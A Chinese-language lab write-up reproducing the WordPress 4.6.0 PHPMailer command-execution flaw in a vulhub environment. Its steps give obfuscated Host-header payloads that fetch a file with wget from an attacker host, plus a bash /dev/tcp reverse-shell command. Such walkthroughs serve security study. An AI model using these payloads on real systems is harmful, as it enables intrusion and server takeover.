免责声明:本文仅用于技术交流和知识分享目的。漏洞复现涉及到系统和网络的安全性测试,可能导致系统崩溃、数据丢失或其他问题。读者在尝试漏洞复现之前必须获得合法授权,并自行承担一切风险和责任。
漏洞描述:
WordPress是使用PHP语言开发的博客平台,用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。WordPress会使用PHPMailer组件发送邮件,攻击者在找回密码时通过PHPMailer组件发送重置密码的邮件,利用substr,run等函数构造payload,可造成命令执行漏洞。
漏洞影响版本:
WordPress <= 4.6.0 PHPMailer < 5.2.18
漏洞复现版本:
WordPress = 4.6.0
复现过程:
1:使用vulhub中靶场启动环境
2:浏览器访问http://your-ip:8080
3:点击安装 填写用户名等其他信息 用户名后续需要被用到
4:安装完成后 点击登录回到首页 点击忘记密码
5:输入之前注册的用户名 点击获取新密码并抓取此时数据包
6:替换Host中内容为如下payload
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell${substr{10}{1}{$tod_log}}192.168.10.63${substr{0}{1}{$spool_directory}}1.txt}} null
7:其中192.168.10.63为本地攻击机地址,在此攻击机上启动一个http服务用以靶机下载反弹shell的文件1.txt
文件名称为1.txt 文件内容为反弹shell的命令
bash -i >& /dev/tcp/192.168.10.63/20000 0>&1
注:此时提供http服务的虚拟机和获取反弹shell的虚拟机为同一台,所以在burp的payload中出现的IP地址和1.txt内容中的IP地址为同一个
8:payload正常执行放回302之后 可以进入靶机的容器相关目录查看是否有文件生成
执行 sudo docker ps -a 获取容器ID
执行 sudo docker exec -it 容器ID /bin/bash 进入容器
检查shell内容是否正常
注:如果此时shell的文件大小为0、内容为空,说明shell没有正常正常从攻击机上下载到靶机,检查第7步中的http服务端口与payload中的端口是否一致。
9:如靶机中正常有shell文件,首先在攻击机上起一个nc监听
在burp中发送如下payload执行shell文件
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}shell}} null)
10:监听收到反弹shell如下